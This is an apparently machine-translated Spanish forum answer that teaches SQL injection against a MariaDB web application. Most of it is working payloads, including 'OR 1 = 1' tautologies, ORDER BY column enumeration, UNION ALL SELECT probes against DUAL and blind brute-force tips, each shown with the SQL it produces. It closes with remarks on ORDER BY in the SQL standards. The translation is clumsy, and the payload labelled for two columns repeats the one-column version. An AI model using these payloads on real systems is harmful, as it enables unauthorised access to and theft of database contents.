sql >> Base de Datos >  >> RDS >> Mysql

Inyección SQL MariaDb

Ok, divirtámonos entonces.

Cuando miro el mensaje de error

Estoy asumiendo que la consulta y el código en la aplicación es más o menos así de pseudo sabio, el @o es de hecho una variable de usuario de MySQL..

SELECT
 *
FROM
 DUMMY_TABLE
WHERE
 DUMMY_TABLE.o = '",@o,"'
LIMIT 10 

Usaré un violín SQL espacio para simular una prueba de inyección SQL y más obteniendo posible acceso a otras tablas.

Puede probar su inyección con 1' OR 1 = 1# o 1' OR 1 = 1-- ambos deberían funcionar y deberían darte el mismo resultado cuando usas 1 como entrada. Esto se debe a que MariaDB automatic está emitiendo los tipos para otras bases de datos, es posible que necesite usar la versión más estricta 1' OR '1' = '1#

Que debería generar

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1#' LIMIT 10 

O

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1--' LIMIT 10 

Luego, debido a que ve errores en la aplicación, puede usar ORDER BY 1 para verificar cuántas columnas están seleccionadas e incrementar el número hasta que obtenga un error.

Error:ER_BAD_FIELD_ERROR:Columna desconocida '2' en 'cláusula de pedido'

Inyectar con

1' ORDER BY 1# o 1' ORDER BY 1--

Lo que significa ordenar en la primera columna del conjunto de resultados NO ordenar 1 literal.

Genera

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1#' LIMIT 10 

O

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1--' LIMIT 10 

Cuando sepa las columnas, puede usar UNION para entrar en otras mesas. Usar NULL si no necesita todas las columnas.

inyección

1' UNION ALL SELECT NULL FROM DUAL#

Tenga en cuenta que DUAL es una tabla "virtual" no existente en MariaDB, MySQL y Oracle, si puede consultar esta "tabla", significa que técnicamente también puede acceder a otras tablas.

SQL generado

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' UNION ALL SELECT NULL FROM DUAL#' LIMIT 10 

Y si la página web está diseñada como una página de "detalle" donde un registro siempre está visible, debe agregar un LIMIT 1, 1 en tu inyección.

¿Qué sucede si no hay errores visibles en la aplicación web? Debería poder usar la fuerza bruta a ciegas con inyecciones SQL ciegas y ver cómo funciona la aplicación.
También pruebe cosas como ?o=0 , ?o=NULL o números muy altos como el valor INT máximo (Firmado) ?o=2147483647 o (sin firmar) ?o=4294967295 antes de intentar aplicar fuerza bruta al número de columna usado para que sepa cómo maneja la aplicación los registros que no se pueden encontrar. Porque es muy poco probable que tenga una identificación 0 o que números altos en un INT tipo de datos, porque la aplicación dejará de funcionar si se proporcionó el último número. Si aún obtiene un registro con esos números altos, use los valores máximos para BIGINT tipo de datos en su lugar.

Para la columna 1, el mismo ID de resultado o=1
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

Para las columnas 2, que generarán un error, pero lo más probable es que vea una página de error o un mensaje de que no se encontró el registro.
O un dulce estado de error HTTP 404 (No encontrado).
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

Un problema que puede tener al usar LIMIT sin utilizar ORDER BY podría ser una oportunidad de obtener los mismos registros porque el estándar SQL ha definido que las tablas/conjuntos de resultados SQL son sin orden sin utilizar ORDER BY

Así que lo ideal es que sigas usando ORDER BY 1 en las fuerzas brutas.

1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC#

Y

1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC LIMIT 1, 1#

El soporte de bases de datos para ORDER BY 1 es mejor de lo que pensaba al principio, ya que funciona en MySQL, MariaDB, SQL Server (MSSQL) y PostgreSQL.

También ORDER BY 1 era una función de SQL 92 que se eliminó en SQL 99.
Entonces, en realidad, las bases de datos SQL no deberían ejecutar ORDER BY 1 más si siguieran los estándares SQL en este punto.

SQL 92 BNF

 <sort specification list> ::=
      <sort specification> [ { <comma> <sort specification> }... ]

 <sort specification> ::=
      <sort key> [ <collate clause > ] [ <ordering specification> ]


 <sort key> ::=
        <column name>
      | <unsigned integer> # <- here it is 

 <ordering specification> ::= ASC | DESC

frente a SQL 1999 BNF

 <sort specification list> ::=
      <sort specification> [ { <comma> <sort specification> }... ]

 <sort specification> ::=
      <sort key> [ <collate clause > ] [ <ordering specification> ]


 <sort key> ::=
        <column name>
                        # <- missing

 <ordering specification> ::= ASC | DESC